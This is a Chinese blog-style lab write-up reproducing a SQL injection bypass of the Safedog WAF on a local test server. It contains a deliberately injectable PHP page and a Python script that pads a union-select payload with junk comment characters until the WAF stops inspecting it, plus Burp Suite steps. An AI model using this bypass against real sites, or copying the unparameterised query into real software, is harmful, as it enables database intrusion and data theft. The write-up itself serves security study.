看了某个师傅sql注入绕过安全狗waf的文章,自己搭建平台重现一番。
环境部署
安装phpstudy:
![](https://img.haomeiwen.com/i17109564/226b7d1f0fd816b4.png)
安全狗关闭CC:
![](https://img.haomeiwen.com/i17109564/9911a66564b4b913.png)
靶机代码和POC
创建test数据库:
![](https://img.haomeiwen.com/i17109564/ed3b45b9108e586d.png)
靶机代码:
<?php
$db_host = 'localhost';
$db_name = 'root';
$db_user = 'root';
$db_pwd = '123456';
//面向对象方式
$mysqli = new mysqli($db_host, $db_user, $db_pwd);
//面向对象的昂视屏蔽了连接产生的错误,需要通过函数来判断
if(mysqli_connect_error()){
echo mysqli_connect_error();
}
//设置编码
$mysqli->set_charset("utf8");//或者 $mysqli->query("set names 'utf8'")
echo "连接成功";
mysqli_select_db($mysqli,'test');
$id=$_REQUEST['id'];
$query="SELECT * FROM users WHERE id =$id";
$result=mysqli_query($mysqli,$query);
while($row=mysqli_fetch_array($result,MYSQLI_NUM))
{
echo $row[0]." ".$row[1];
echo "<br />";
}
echo "<br />";
echo $query;
//关闭连接
$mysqli->close();
?>
访问:localhost/sql.php?id=1
![](https://img.haomeiwen.com/i17109564/f282f99bad5a16ef.png)
经测试发现常规的注入方式会被拦截
![](https://img.haomeiwen.com/i17109564/5b0f6746fbf94b96.png)
因为对于软waf,如果提交的数据量过多。就会直接扔到后端去处理
get不能提交过多的数据,所以用post写了个简单的python脚本,通过叠加无用的字符,并检测是否绕过waf,我们的payload 1 /*无用的字符*/ union select user(),2
附上poc代码:
import requests
url = "http://localhost/sql.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
}
try:
for i in range(1,2999):
st = "/*"+"ABC"*i+"*/ union select user(),2"
data={
"id":"1 %s " %st
}
print(i)
res= requests.post(url,headers=headers,data=data).text
print(data)
print(res)
if res.find("cax")!=-1:
print(i)
break
except:
print('终止执行')
运行结果:
在ABC*2562的时候成功了绕过了安全狗结果。
![](https://img.haomeiwen.com/i17109564/664ff64f7fb59503.png)
如果没有绕过狗的res的内容:
![](https://img.haomeiwen.com/i17109564/11296b88b84359c6.png)
将payload放在burp上验证下:
这里的burp注意是post请求方式,可以通过抓包抓到get请求的包放到Repeat下,然后右键change request method来更改成post请求:
![](https://img.haomeiwen.com/i17109564/2031c8c6ff91cf19.png)
网友评论